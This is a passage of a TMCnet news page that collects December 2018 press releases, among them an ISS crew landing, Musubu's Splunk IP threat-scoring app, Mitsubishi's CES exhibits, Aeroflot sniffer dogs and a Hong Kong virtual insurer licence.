majority of which is owned by Etix Everywhere Ltd. The company offers data centre solutions and services worldwide, including eco-friendly solutions in Iceland with centres located between the European and US markets. About Landsvirkjun Landsvirkjun is Iceland's largest energy company and produces electricity solely from renewable energy resources; hydroelectric, geothermal and wind energy. The company offers long-term agreements at competitive prices. Iceland is an ideal location for data centers with a growing number of companies choosing to leverage the cool North Atlantic climate, unparalleled power security, world-class infrastructure, business friendly environment and great connectivity to build a competitive advantage in a rapidly changing market. Visit www.landsvirkjun.com to learn more. About Etix Everywhere Etix Everywhere specializes in the construction and operation of scalable data centers and cable landing stations. Headquartered in Luxembourg, the company builds turnkey projects for large customers and also develops its own network of data centers in which neutral colocation services are provided. For more information, visit www.etixeverywhere.com. Follow us on Twitter (News - Alert), LinkedIn and YouTube. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005112/en/ [ Back To TMCnet.com's Homepage ] [December 20, 2018] NASA Astronaut, Crewmates Return to Earth After 197-Day Mission in Space WASHINGTON, Dec. 20, 2018 /PRNewswire/ -- Three members of the International Space Station's Expedition 57 crew, including NASA astronaut Serena Aunon-Chancellor, returned to Earth Thursday, safely landing at 12:02 a.m. EST (11:02 a.m. local time) in Kazakhstan. Aunon-Chancellor and her crewmates, Expedition 57 Commander Alexander Gerst of ESA (European Space Agency) and Soyuz Commander Sergey Prokopyev, launched June 6 and arrived at the space station two days later to begin their mission. Over 197 days, they circled the globe 3,152 times, covering 83.3 million miles. For the last 16 days of her mission, Aunon-Chancellor was joined by fellow NASA astronaut Anne McClain, marking the first time in which the only two U.S. astronauts on a mission both were women. The Expedition 57 crew contributed to hundreds of experiments in biology, biotechnology, physical science and Earth science aboard the world-class orbiting laboratory. Highlights included investigations into new cancer treatment methods and algae growth in space. The crew also installed a new Life Sciences Glovebox, a sealed work area for life science and technology investigations that can accommodate two astronauts. This was the first flight for Aunon-Chancellor and Prokopyev and the second for Gerst, who with a total of 362 days in orbit now holds the flight duration record among ESA astronauts. Prokopyev completed two spacewalks totaling 15 hours and 31 minutes. During a 7 hour, 45 minute spacewalk Dec. 11, he and Oleg Kononenko of Roscosmos retrieved patch samples and took digital images of a repair made to the habitation module of the Soyuz MS-09 in which the Expedition 57 trio rode home. The space station crew located and, within hours of its detection, repaired a small hole inside the Soyuz in August. The spacecraft was thoroughly checked and deemed safe for return to Earth. When the Soyuz undocked at 8:40 p.m. Dec. 19, Expedition 58 began aboard the station, with McClain, David Saint-Jacques of the Canadian Space Agency, and Kononenko comprising a three-person crew. The next residents on the space station Nick Hague and Christina Koch of NASA and Alexey Ovchinin of Roscosmos will launch Feb. 28 from the Baikonur Cosmodrome in Kazakhstan to join their crewmates, marking the start of Expedition 59. For more than 18 years, humans have lived and worked continuously aboard the station, advancing scientific knowledge and demonstrating new technologies, making research breakthroughs not possible on Earth that will enable long-duration human and robotic exploration into deep space. A global endeavor, more than 230 people from 18 countries have visited the unique microgravity laboratory that has hosted more than 2,400 research investigations from researchers in more than 103 countries. Keep up with the International Space Station, its research and crews at: https://www.nasa.gov/station Get breaking news, images and features from the station on Instagram and Twitter at: https://instagram.com/iss and https://www.twitter.com/Space_Station View original content to download multimedia:http://www.prnewswire.com/news-releases/nasa-astronaut-crewmates-return-to-earth-after-197-day-mission-in-space-300769355.html SOURCE NASA [December 19, 2018] High 5 Games Aiming to Launch 15 games in Sweden on January 1st NEW YORK, Dec. 19, 2018 /PRNewswire/ -- High 5 Games will ring in the New Year with an extensive portfolio of HTML5 games for Sweden through NYX/SciGames Digital. Multiple real-money operators are launching 15 games on January 1st with a total library of 40 to follow. Many of these titles are already well known to the Swedish market through land and digital platforms. They include games tailored to Sweden with specific game and theme styles. Look out for Valkyrie Queen, Joker's Riches and the hugely innovative Silver Enchantress. Since August 2018, High 5 Games has been delivering a consistent stream of Vegas style games to multiple real-money operators. Top grossing games like All That Cash and Secrets of the Forest have been climbing the charts of several Tier 1 operators in the last few months. High5 VAULT now offers High 5 Games' premium slot game content to more players in more places than ever before. High 5 Games continues to activel develop opportunities and to work with governing bodies throughout Europe and the United States to expand its presence in 2019 including Pennsylvania, Denmark, Spain and Italy. H5G will continue its aim of content distribution for all Regulated Territories from its' Global Headquarters at 1 World Trade Center in New York. For further information about High 5 Games' B2B offerings, please contact [email protected]. About High 5 Games Developing for the land-based, online, social, and mobile markets, High 5 Games has created hundreds of games that are played on six continents and in more than 150 countries. High 5 Games operates High 5 Casino, the premier destination for the most robust slot content library in the casino category with nearly 17 million players worldwide, as well as several niche social casino apps. The company's premiere remote game server, High 5 VAULT, integrates with online casinos around the world and features a selection of the company's top brands for real money play. High 5 Games is aimed at becoming the world leader in casino content production and distribution and has offices in New York City, New Jersey, Kansas City, and London. Double Da Vinci Diamonds, Secrets of the Forest, Hoot Loot, and Thundering Buffalo trademark(s) and copyrights are owned and/or registered by IGT in the U.S. and/or other countries and used under license from IGT. All That Cash and Silver Enchantress are video slot games created by High 5 Games. Logo - https://mma.prnewswire.com/media/631343/HIGH5GAMES_Logo.jpg Logo - https://mma.prnewswire.com/media/721753/vault__Logo.jpg [ Back To TMCnet.com's Homepage ] [December 19, 2018] Musubu Releases Splunkbase App to Enrich IP Addresses With Cyber Threat Scoring in Splunk SIEM WINSTON-SALEM, N.C., Dec. 19, 2018 /PRNewswire/ -- Musubu, a leading provider of IP address and network data APIs and applications for cybersecurity professionals and businesses large and small, announced today the general availability of its "Musubu IP Threat Data for Splunk" add-on application in Splunkbase, Spunk's marketplace of partner and community extensions for its core SIEM platform. "Our Splunk app gives vital threat context to SIEMs that are most often chock-full of thousands of 'raw' IP addresses that don't lend themselves to any quick analysis by operators," said Greg Hunter, co-founder of Musubu and partner manager. "With our IP threat scoring and classification right in Splunk where all those IPs live, users can now make triage decisions instantly to identify potentially harmful cyber events much faster." The Musubu add-on is easily configured for almost any version of Splunk's product by downloading it right from Splunkbase and purchasing a highly-affordable Musubu API key. Once installed, users can simply mouseover IP addresses within a chosen data source to see the following information: Threat Score Numeric threat score between 0-100. The Score is calculated using "blacklist class," "blacklist neighbors," the number of recent observations and country of origin. Threat Classification Classification derived from "threat potential score pct" High Threat score >70 Medium Threat score from >40 but<70 Low Any IP unlisted with a threat score <20 Nuisance Threat score<40 Blacklist Class Field classifying the specific threat vector that has been identified. Contains one of the following values: apache, blacklisted, botnet, botnetcnc, brute force, compromised, ftp http, imap, mail, malware, phishing, ransomware, shunned, sips, ssh, TOR, worm, or zeus. Blacklist Count Field providing the number of sources which have identified the address as malicious. Blacklist Network Neighbors Field providing the number of addresses present on the same subnet which have been identified as malicious. Blacklist Observations Field providing the number of observations (of this IP) in the last 90 days. By using the Musubu IP Threat Data for Splunk app, users gain immediate speed, efficiency, and insight for daily cyber threat detection operations. Typically, most SIEM operators must proceed through half a dozen or more steps for each and every IP they want to research as potentially malicious. With Musubu's app, users can cut that process down 1/10th of the time and make critical cyber incident response or mitigation decisions much faster. "Any SIEM is instantly more useful to help head off cyber incidents when users can find ways to analyze the data more quickly and accurately to immediately see potential issues," said Jason Polancich, co-founder of Musubu. "Our tool makes IP and network threats stand out in Splunk's powerful platform." Musubu's "Musubu IP Threat Data for Splunk" add-on can be downloaded directly from Splunkbase and activated in minutes with the purchase of a key from Musubu's "Integrations" web page. ABOUT MUSUBU Founded by career-long IT entrepreneurs, software developers, intelligence analysts, and cybersecurity specialists, Musubu provides highly-affordable and easy-to-use cybersecurity APIs and web applications that let companies get vital data on IP addresses for their apps and sites plus related info on whether or not these IPs have any observed cyber threats associated with them. Musubu's trademarked KnownNetworks data provides one-of-a-kind insight into the networks behind given IP addresses for better cyber threat intelligence, threat detection, response, and mitigation. Musubu: https://musubu.io Online Resources: Don't have a SIEM? Try our MusubuApp for FREE now. Read our Blog. Follow us on Twitter at @Musubu10. Follow us on LinkedIn. Media/Product contact: Jason Polancich, [email protected] Related Links Website MusubuApp View original content to download multimedia:http://www.prnewswire.com/news-releases/musubu-releases-splunkbase-app-to-enrich-ip-addresses-with-cyber-threat-scoring-in-splunk-siem-300769240.html SOURCE Musubu [ Back To TMCnet.com's Homepage ] [December 19, 2018] Spanish Broadcasting System, MegaTV presents the triumphant return of the famous creator of "La Comay" Antulio "Kobbo" Santarrosa MIAMI, Dec. 19, 2018 /PRNewswire/ -- Spanish Broadcasting System, Inc. ("SBS") (OTCQX: SBSAA) with its television network, MegaTV announced the triumphant return to radio, television and digital platforms of the famous producer and ventriloquist, Antulio "Kobbo" Santarrosa. The agreement between Santarrosa and SBS was made on December 19, 2018, in the United States and will be effective as of January 2019. The arrival of Antulio "Kobbo" Santarrosa to SBS-MegaTV comes at a stage of audience growth and expansion of its programming amid a critical cycle for the Hispanic community. "It is exciting for me to join the great Spanish Broadcasting System team, MegaTV, and with great enthusiasm and humility I reach this new step in my career with the opportunity to entertain and inform the Hispanic community in the United States and Puerto Rico," said Antulio "Kobbo" Santarrosa. "The arrival of Antulio "Kobbo" Santarrosa to SBS is another reason for celebration for our company. I am sure his return to television and now to radio and our digital platform, LaMusica will be a success in Puerto Rico and the United States. The talent and creativity of Mr. Santarrosa adds another unique and iconic voice to our SBS family," said Raul Alarcon Chairman, CEO of SBS. MegaTV is the most reliable source of news and information for Hispanics in the United States. Our award-winning programs include, "Bayly," "Ahora con Oscar Haza," "Paparazzi TV," "Mega News," as wellas special programs, documentaries and breaking news. The acclaimed team of journalists led by Oscar Haza, Jaime Bayly, Mario Andres Moreno and Natalia Cruz, correspondents and collaborators offer the latest information and best analysis of national and international events, through multiple platforms. MegaTV's content reaches Hispanic audiences in various markets in the United States and Puerto Rico every day of the week. MegaTV is distributed nationwide by DirecTV, AT&T U-verse and Verizon Fios (NY-DMA) in the United States. During the next weeks, Antulio "Kobbo" Santarrosa will share an advance of what will be the new concept of his show. Join the conversation using #LACOMAYSBS. Comment together with others on social networks, and you can listen to us through LaMusica App available on IOS and Android. About Spanish Broadcasting System, Inc. Spanish Broadcasting System, Inc. (SBS) owns and operates radio stations located in the top U.S. Hispanic markets of New York, Los Angeles, Miami, Chicago, San Francisco and Puerto Rico, airing the Tropical, Regional Mexican, Spanish Adult Contemporary, Top 40 and Urbano format genres. SBS also operates AIRE Radio Networks, a national radio platform of over 250 affiliated stations reaching 94% of the U.S. Hispanic audience. SBS also owns MegaTV, a network television operation with over-the-air, cable and satellite distribution and affiliates throughout the U.S. and Puerto Rico, produces a nationwide roster of live concerts and events, and owns a stable of digital properties, including LaMusica, a mobile app providing Latino-focused audio and video streaming content and HitzMaker, a new-talent destination for aspiring artists. For more information, visit us online at www.spanishbroadcasting.com. MEDIA CONTACT SBS: Vladimir Gomez VP, Corporate Communications [email protected] (786) 394-9000 Ext. 1144 View original content:http://www.prnewswire.com/news-releases/spanish-broadcasting-system-megatv-presents-the-triumphant-return-of-the-famous-creator-of-la-comay-antulio-kobbo-santarrosa-300769283.html SOURCE Spanish Broadcasting System, Inc. (SBS) [ Back To TMCnet.com's Homepage ] [December 19, 2018] Mitsubishi Electric to Exhibit at CES 2019 in Las Vegas, USA Mitsubishi Electric Corporation (TOKYO:6503) announced today that it will exhibit cutting-edge automotive technologies and products, including its EMIRAI4 driving-assistance concept car, for safer and more convenient transportation in the smart mobility era at the CES 2019 show for consumer technologies in Las Vegas, U.S.A. from January 8 to 11. The Mitsubishi Electric (News - Alert) exhibition, organized around the theme "Realize your mobility ambitions," will be located at booth No.7529 in the North Hall. Main Exhibits Connected Zone The newest version of the EMIRAI4 * (2019) smart-mobility concept car features next-generation driving-assistance technologies, advanced human-machine interface (HMI) technologies and other Mitsubishi Electric technologies for vehicle electrification, autonomous driving and network connection. During CES (News - Alert) 2019, Mitsubishi Electrics will present two new technologies in the EMIRAI4 with its realistic texture expression technology, called Real Texture and ground-illuminating indicator technology. The Real Texture LED dashboard display realistically expresses the appearance of metallic-like surfaces by adjusting glos and shadow according to the person's viewing angle. Ground-illuminating indicators for turning, door-opening, etc. project animated illuminations on road surfaces around the vehicle to provide highly intuitive, easy-to-see warnings about intended movements for enhanced road safety, even in bad weather including snow. (2019) smart-mobility concept car features next-generation driving-assistance technologies, advanced human-machine interface (HMI) technologies and other Mitsubishi Electric technologies for vehicle electrification, autonomous driving and network connection. During CES (News - Alert) 2019, Mitsubishi Electrics will present two new technologies in the EMIRAI4 with its realistic texture expression technology, called Real Texture and ground-illuminating indicator technology. The Real Texture LED dashboard display realistically expresses the appearance of metallic-like surfaces by adjusting glos and shadow according to the person's viewing angle. Ground-illuminating indicators for turning, door-opening, etc. project animated illuminations on road surfaces around the vehicle to provide highly intuitive, easy-to-see warnings about intended movements for enhanced road safety, even in bad weather including snow. A demonstration car for the North America market will feature a multi-display system and a drone-assisted vacant-parking-search system. Sample applications of advanced location services that are being studied jointly** by HERE Technologies and Mitsubishi Electric will also be on display. http://www.MitsubishiElectric.com/news/2017/1016.html (October 16, 2017) ** HERE and Mitsubishi Electric team up to offer advanced location services for autonomous cars http://www.MitsubishiElectric.com/news/2017/1027.pdf (October 27, 2017) Autonomous Driving Zone This zone will introduce the xAUTO-US autonomous-driving test vehicle and related autonomous-driving technologies for self-sensing and network-based driving, which are undergoing field testing on actual expressways in the USA. Electrification Zone This zone will present Mitsubishi Electric's electrification lineup of motor, inverter and on-board charger products for Hybrid Electric Vehicles (HEV) and Battery Electric Vehicles (BEV). For the full text, please visit: www.MitsubishiElectric.com/news/ View source version on businesswire.com: https://www.businesswire.com/news/home/20181219005915/en/ [ Back To TMCnet.com's Homepage ] [December 19, 2018] REC Solar Panels Bring Clean Energy to Remote Himalayan Communities NEW DELHI, December 20, 2018 /PRNewswire/ -- Marking the recent United Nations Global Climate Summit in Katowice, Poland, REC Group, the leading European brand for solar photovoltaic (PV) panels, reports on its own initiatives to bring clean energy to communities that were previously reliant on polluting sources of power. In cooperation with Global Himalayan Expedition (GHE), which leverages tourism to provide clean energy and digital education access to remote communities, REC Group contributed its solar panels that now generate energy in remote villages and schools in the Ladakh and Zanskar regions of India. Many of the communities in these sparsely populated regions have no access to grid-based power, and therefore rely on either very old solar lanterns or kerosene lamps for lighting. Thanks to the REC solar panels, every household in the villages now has basic access to energy, including LED lights in all rooms, street lights for the common areas and much better lighting in schools. (Logo: https://mma.prnewswire.com/media/557305/REC_Group_Logo.jpg ) (Photo: https://mma.prnewswire.com/media/800518/REC_Solar.jpg ) Challenges and operating model The remoteness of the regions presented a major challenge in terms of logistics. With many of the villages around four or five days' trek distance from the nearest motorable road, the villagers themselves carried panels and the rest of the equipment to the installation sites. The 50 REC solar panels were installed on the grond and on villager's roofs by GHE engineers. However, apart from the initial installation, the objective is to put the villagers firmly in charge (also due to the cost of getting skilled maintenance engineers to the remote areas). The operating model is designed to keep communities independent. Three villagers from each village were trained to operate and maintain the system, and a Village Electricity Management Committee of two to three villagers serves as a single point of contact for activities related to the grid, including collecting rentals. A service centre is also setup in the nearest city to service all the grids with trained engineers. Better light, better education, cleaner air The efforts of REC and GHE have delivered impressive results, directly impacting over 1,500 people. 12 kW (50 Panels) of clean solar energy has replaced polluting sources: the initiative is expected to eliminate 9,000 liters of kerosene per year and 22.8 tons of CO2 emissions. 100% of the population now have basic energy access for lighting that is not just cleaner, but also brighter: the overall improvement in lighting in both households and schools is 500%. In schools, the solar installations also power computers and displays, giving students access to offline internet content as well as interactive video content and TED talks. Schools already report a 30% increase in the learning aptitude of their students and their knowledge of basic concepts. Clean energy: UN goals on sustainable development This December's UN Global Climate Summit in Katowice, Poland, underscores the urgency of efforts to combat climate change. "With this and other initiatives, we are making our contribution to one of the United Nations' 17 declared goals on sustainable development", says Rohit Kumar, Director, REC Solar for Indian Subcontinent." Goal number 7 unequivocally commits 'to ensure access to affordable, reliable, sustainable and modern energy for all.' In its own COP21 study, REC Group has shown how solar energy can make a significant contribution to limiting the global temperature rise. However, for the 1.5C target, the global ramp-up of solar installations has to be up to 9 times above recent forecasts. The company remains committed to providing renewable energy that is not just clean, but also flexible enough to meet energy needs in off-grid locations that rely on decentral power generation. About REC Group: Founded in Norway in 1996, REC Group is a leading vertically integrated solar energy company. Through integrated manufacturing from silicon to wafers, cells, high-quality panels and extending to solar solutions, REC Group provides the world with a reliable source of clean energy. REC's renowned product quality is supported by the lowest warranty claims rate in the industry. REC Group is a Bluestar Elkem company with headquarters in Norway and operational headquarters in Singapore. REC Group employs around 2,000 people worldwide, producing 1.5 GW of solar panels annually. Find out more at http://www.recgroup.com. Media Contact : Shikha Upadhayay [email protected] +91-0124-6768714 Manager Marketing Communications & PR, REC Solar [ Back To TMCnet.com's Homepage ] [December 20, 2018] Avast and Wind Tre Join Forces to Provide Parental Control Apps to Families in Italy Avast (LSE:AVST (News - Alert)), the global leader in cybersecurity products, today announced the market launch of the new Wind Family Protect application in Italy. Avast and Wind Tre, a top Italian mobile operator and among the main operators in the fixed-line market, partnered to create a simple and effective app that helps parents manage their children's access to the internet and keeps track of their whereabouts. "Our partnership with Wind Tre is the latest example of how we work with carriers to help them provide valuable offerings to subscribers - in this case, families in particular," said Gagan Singh, SVP and Chief Product Officer of Consumer at Avast. "Mobile devices are a great way for children to learn and be entertained but as they provide the door to the digital world, this can give rise to online and real-world risks. Children can be exposed to unsuitable content, visit inappropriate sites or spend too much time online on their devices. Avast and Wind Tre collaborated to develop features that address the key usage and concerns of their customers, so parents can use the application to manage their children's access to the internet, ensuring they are accessing appropriate content at appropriate times. Additionally, te ability to check their child's location through saved safe places, such as school and the homes of family or friends, at any time gives parents peace of mind." The application allows parents to block and filter unwanted content, remotely suspend browsing activity and monitor the position of their children through movement alerts. A single account protects up to ten devices. Wind Family Protect is the first application of a series of services Avast and Wind Tre are collaborating on. "When it comes to security, nothing should be left to chance. Wind Family Protect is the best mix between communication and security and reinforces Wind's positioning as a brand even closer to Italian families, able to meet the real needs of parents who are looking for their children's first telecoms products, while keeping them safe from Internet risks," said Tommaso Vitali, B2C Marketing Director of Wind Tre. "We chose Avast as a partner due to their strong technology and track record of collaborating with carriers in other regions around the world." Avast partners globally with a number of carriers, including all major mobile carriers in the United States, to provide and implement safety solutions such as Avast Controls and Insights and Avast Locator. Wind Family Protect is available for families with children in Italy. The application is included with the Wind's new 'All Inclusive Junior' package, available for 6.99/month, as well as the 'Wind Family Member Junior' package, costing 4.99/month. Wind customers can also add the application to their mobile offer for 1/month. About Avast Avast (LSE:AVST) is the global leader in digital security products. With over 400 million users online, Avast offers products under the Avast and AVG brands that protect people from threats on the internet and the evolving IoT threat landscape. The company's threat detection network is among the most advanced in the world, using machine learning and artificial intelligence technologies to detect and stop threats in real time. Avast digital security products for Mobile, PC or Mac are top-ranked and certified by VB100, AV-Comparatives, AV-Test, OPSWAT, ICSA Labs, West Coast Labs and others. Visit: www.avast.com. View source version on businesswire.com: https://www.businesswire.com/news/home/20181219005910/en/ [ Back To TMCnet.com's Homepage ] [December 20, 2018] Delta's Containerized Data Center Solutions Support Campana's Submarine Cable Landing Station in Myanmar with Superior Energy Efficiency and Agility TAIPEI, Taiwan, Dec. 20, 2018 /PRNewswire/ -- Delta, a global provider of power and thermal management solutions, announced it has enabled an energy-efficient 200kW containerized data center solution for the Singapore-based Campana Group. The modular and scalable properties of Delta's Containerized Data Center Solution were integral for the project to be completed in just 50 days, from shipment (originating at Delta's production base in Wujiang, China) to full installation of coupled containers in Yangon, Myanmar. This data center features superior energy efficiency with annual average PUE (Power Usage Effectiveness) below 1.43, thus, achieving gold level of the Green Grid standard. Designed for the SIGMAR (Singapore-Myanmar) International Submarine Cable Project, the Campana data center is the largest high-speed data center connecting Singapore and Myanmar, and shall benefit end consumers in Southeast Asia with an enriched digital life. Dr. Myo Ohn, CEO of Campana Group, noted: "Building data centers in Myanmar is extremely chalenging. You have to meet power requirements as well as efficiency targets. We wanted a supplier that we could depend on both in terms of quality and technical ability. Therefore, we chose Delta." The Campana Group's submarine cable project in Myanmar, with Singapore as the Internet hub, will connect submarine cable network to cable landing stations to meet the rapidly growing demands for online activities in Myanmar. "It's a pleasure to partner with Campana, who aims to empower digitalization in Southeast Asia, and together we have reached such satisfactory results. Delta's prefabricated data center infrastructure solutions not only enable fast deployment and construction as demanded, but also come with high reliability and integration to fit the full range of application environments present in the edge computing field. Moreover, we assist customers' in penetrating more network connectivity service markets," Dr. Charles Tsai, general manager of Delta's Mission Critical Infrastructure Solutions Business Unit, added. To learn more about Delta's offerings for Campana data center, visit http://www.deltapowersolutions.com/en/mcis/success-story-deltas-containerized-data-center-solutions-support-campanas-submarine-cable-landing-station-in-myanmar.php Delta has been offering similar data center product services since 2007. It also has the first containerized data center production facility in mainland China with hundreds of customized and standard products sold to customers in Australia, Southeast Asia as well as other areas around the world. Media Contact: Corporate Communications Thomas Chang, Senior Manager Tel: 886-2-8797-2088 Ext: 5511 Mobile: +886-955-217-311 E-mail: thomas.chan[email protected] SOURCE Delta [ Back To TMCnet.com's Homepage ] [December 20, 2018] Aeroflot Registers Own Breed of Sniffer Dogs MOSCOW, December 20, 2018 /PRNewswire/ -- Aeroflot has registered its own Shalaika breed of sniffer dogs with the Russian Cynological Federation. The official presentation of the dogs took place at Sheremetyevo International Airport's Terminal B and was attended by the breeder of the Shalaika dogs, Klim Sulimov, and members of the cynology community. (Logo: https://mma.prnewswire.com/media/561410/Aeroflot_Logo.jpg ) (Photo: https://mma.prnewswire.com/media/801079/Aeroflot_sniffer_dogs.jpg ) (Photo: https://mma.prnewswire.com/media/801080/Aeroflot_breed_of_sniffer_dogs.jpg ) (Photo: https://mma.prnewswire.com/media/801081/Aeroflot_registers_sniffer_dogs.jpg ) The dogs were presented by Aeroflot's Deputy Head of Aviation Security Azat Zaripov, and Deputy CEO of Sheremetyevo Security AkexanderShalov, who talked about how the airline and the airport use dogs to ensure safety both on the ground and on board aircraft. The Shalaika is a Russian jackal-dog hybrid originating from an initial cross-breed of two Lapponian Herders and two Turkmen golden jackals. The breed was developed for Aeroflot's security by Klim Sulimov, a renowned Russian biologist, and since 2001 Shalaikas have supported the airline's dog service as sniffer dogs. As of today, Aeroflot has around 50 dogs. Building on the successes of its dog service, Aeroflot introduced olfactory monitoring - a hardware and software system that includes special gear for dogs to help identify the nature of substances they detect and transmit information to an operator's computer. Aeroflot's dog service is a regular award-winner. In December 2018, the airline became the first transportation company to win the Biotechnology and Genetic Engineering category at the Innovation Time Awards for its international prize-winning 'Aeroflot Sulimov Dogs' project. The airline's 'Sulimov Dogs' Facebook project also took the awards for Travel and Tourism, Digital Media Relations and Community Engagement at the IPRA Golden World Awards. In 2019, Aeroflot will present the Shalaikas and the olfactory monitoring system at the Eurasia 2019 international dog show. About Aeroflot Aeroflot is Russia's flagship carrier and a proud member of the SkyTeam global airline alliance. Aeroflot serves 152 destinations in 55 countries. Aeroflot's 252-strong fleet is the youngest of any airline worldwide that operates more than 100 aircraft. In 2017, Aeroflot carried 32.8 million passengers (50.1 million passengers as Aeroflot Group including subsidiaries). Aeroflot holds 4-Star Airline status from Skytrax and was named Best Airline in Eastern Europe for the seventh time at the 2018 Skytrax World Airline Awards. Aeroflot has also been awarded a five-star global airline rating by U.S. aviation association APEX. Aeroflot is the world's strongest airline brand according to leading brand strategy consultancy, Brand Finance. Find out more at http://www.aeroflot.com/ [ Back To TMCnet.com's Homepage ] [December 20, 2018] Supermicro Establishes New Facility to Optimize Cloud Solutions with Intel in Europe New Center of Excellence helps Cloud Customers Accelerate Technology Investment Decisions by Providing Flexible Remote Access to New Technologies for Proof of Concept Testing THE NETHERLANDS, Dec. 20, 2018 /PRNewswire/ -- Super Micro Computer, Inc. (SMCI), a global leader in enterprise computing, storage, networking solutions and green computing technology, today announced it has joined with Intel to create a cloud solutions Center of Excellence at Supermicro's European headquarters in The Netherlands. The Cloud Center of Excellence (CCoE) houses several racks of state-of-the-art server and storage solutions combining Supermicro's leading system architectures with Intel's latest technologies. The CCoE provides demonstrations, proof of concept testing and remote access capabilities aimed at cloud service providers as well as enterprise and datacenter cloud environments. "This initiative, the Cloud Center of Excellence, is all about our customers," said Perry Hayes, president of Supermicro BV. "It's an opportunity to bring what Supermicro does best, which is industry-leading system technology, to customers in a way that allows them to try out their workloads on our equipment to accelerate their path to technology transition." "Supermicro has a broad portfolio of solutions based on Intel technologies, and has a history of bringing new products to market quickly to enable their customers to benefit from our latest innovations and performance enhancements," said Jennifer Huffstetler, Vice President and General Manager of Intel's Data Center Product Marketing Group. "This Cloud Center of Excellence is going to give Cloud Service Providers (CSPs) a means to more easily experience the benefits of the latest Supemicro products and Intel technologies." Offering the very latest in server and storage technology, the center includes Supermicro's new highly-configurable 1U All-Flash Storage platform supporting half a petabyte of NVMe storage with the latest storage mediums such as Intel Ruler and EDSFF flash NVMe for storage density, Intel Optane DC SSDs and upcoming Intel Optane DC persistent memory for memory extension, as well as vROC. Select customers have been working with the CCoE since as early as August of this year, and have already seen benefits from the center. One example is Internet Service Provider (ISP) cdmon in Spain, and its endeavor to create the fastest cloud in Europe. Based on their successful 10-year relationship, and on the advantages of the Ultra SuperServer system supporting the latest Intel Xeon Scalable processors, Intel Optane DC Solid State Drives (SSDs) all NVMe based into a Resource-Saving Architecture, Supermicro and cdmon partnered together on cdmon's new Cloud Project. With the Ultra SuperServer, Supermicro was able to exactly match cdmon's requirements to build an incredible system offering that was up to ten times faster than before. With Supermicro technology, cdmon is now confident that they are indeed offering the Fastest Cloud in Europe. Supermicro's server and storage solutions feature Resource-Saving Architecture advantages that can be realized in a scaled datacenter environment by leveraging Supermicro Rack Scale Design (RSD), based on Intel Rack Scale Design, to manage racks of disaggregated servers, pooled composable storage, and networking with industry-standard Redfish RESTful API's. Supermicro's Resource-Saving product portfolio including the SuperBlade with disaggregated blades, the BigTwin and all-flash NVMe Ultra SuperServers deliver dramatically improved efficiency, increased utilization, reduced initial acquisition costs and TCO. To learn more about the CCoE and how to utilize it for proof of concept testing, etc., please visit https://www.supermicro.com/en/solutions/Cloud. For general information on Supermicro and Supermicro products, visit www.supermicro.com. Follow Supermicro on Facebook and Twitter to receive their latest news and announcements. About Super Micro Computer, Inc. (SMCI) Supermicro, the leading innovator in high-performance, high-efficiency server technology is a premier provider of advanced Server Building Block Solutions for Data Center, Cloud Computing, Enterprise IT, Hadoop/Big Data, HPC and Embedded Systems worldwide. Supermicro is committed to protecting the environment through its "We Keep IT Green" initiative and provides customers with the most energy-efficient, environmentally-friendly solutions available on the market. Supermicro, SuperServer, SuperBlade, BigTwin, Server Building Block Solutions, and We Keep IT Green are trademarks and/or registered trademarks of Super Micro Computer, Inc. All other brands, names and trademarks are the property of their respective owners. SMCI-F Photo - https://mma.prnewswire.com/media/800778/Super_Micro_Computer_Upgrade_to_Cloud_Grade.jpg [ Back To TMCnet.com's Homepage ] [December 20, 2018] Heritage Portfolio Company EPTAM Announces Add-On Acquisition of Relius Medical New Heritage Capital ("Heritage") is pleased to announce that its portfolio company EPTAM has acquired substantially all of the assets of Relius Medical ("Relius" or the "Company"), a Colorado Springs, CO based provider of complex metals machining solutions to the medical device market. The acquisition will broaden EPTAM's core capabilities, enabling the company to better serve its customers with a one-stop-shop solution for precision components. The combined company is being re-branded as EPTAM Precision. Relius is a leading provider of precision components to the medical device market with a deep expertise in medical implants and external fixation clamps. Relius' strong reputation for quality and delivery has earned the Company multi-decade relationships with some of the world's leading medical device companies. Relius operates out of a state of the art 70,000 sq. ft. FDA registered, ISO 13485 facility in Colorado Springs, CO. "Introduced to us by a common customer, Relius is the perfect strategic addition to the EPTAM family, allowing EPTAM to offer customers a one-stop-shop for precision manufacturing solutions in both plastics and metals. We are excited to be partnering with Relius and their team," said Dana Waterman CEO of EPTAM. Jud Samuels, Partner at Heritage, added, "The acquisition of Relius continues EPTAM's strategy of playing an ever-increasing role in its customer's supply chain by providing a wider range of precision component manufacturing strategies with a high level of quality and delivery." About New Heritage Capital Heritage is a Boston-based private equity firm with a twenty-year history of partnering with growing, middle market, founder-owned businesses. With its innovative investment structures like the Private IPO, Heritage provides founders with a combination of liquidity and growth capital while allowing founders to maintain control of their business. With decades of experience at managing growth, Heritage gives its partners the strategic, operational and financial guidance to help its companies reach their growth objectives. For more information, please visit: www.newheritagecapital.com. About EPTAM Founded in 1981 and headquartered in Northfield, New Hampshire; EPTAM is a leading high-precision machining company targeting demanding applications. EPTAM's proprietary manufacturing capabilities provide the highest-quality, tightest-tolerance machined parts for mission-critical applications. The company provides its custom machining solutions to leaders in the aerospace & defense, commercial, medical, and semiconductor industries. Visit www.eptam.com for more details about the company and its diverse portfolio of services. View source version on businesswire.com: https://www.businesswire.com/news/home/20181220005065/en/ [ Back To TMCnet.com's Homepage ] [December 20, 2018] Bowtie wins Hong Kong's first virtual insurer license Raised HK $234 million for a new home-grown life insurer HONG KONG, Dec. 20, 2018 /PRNewswire/ -- Bowtie Life Insurance Company Limited (Bowtie) today announces that it has been granted the very first virtual insurance company license by Hong Kong's Insurance Authority under its Fast Track pilot scheme. As a home-grown insurtech and now a fully-licensed virtual insurance company, Bowtie is set to offer insurance protection directly to customers, without any insurance intermediaries. Bowtie is backed with HK$234 million (US$ 30 million) raised in its Series A round from Sun Life Hong Kong Limited and has a shareholder base that includes Hong Kong X Technology Fund and angel investors. "While digital technology is on the rise, we believe the industry is in need of change," said Fred Ngan, Co-CEO and Co-founder of Bowtie. "Hong Kong welcomes a virtual insurer to design what online insurance can be -- truly customer-centric, transparent and commission-free." Ngan and fellow Co-CEO and Co-founder Michael Chan are serial entrepreneurs who grew up in Hong Kong. They first met in the United States where they worked as actuaries in global advisory firms. After returning to Hong Kong, this duo have already built two successful insurtech start-ups in a few short years prior to founding Bowtie. "Bowtie is all about delivering convenience to consumers through technology." said Michael Chan. "Our market research is tellig us Hong Kong consumers would love to be able to sign up for health insurance and submit claims online, but the industry has not fully embraced digital technology to optimize the consumer experience. This is exciting because we get to reinvent the very structure of an insurance company and 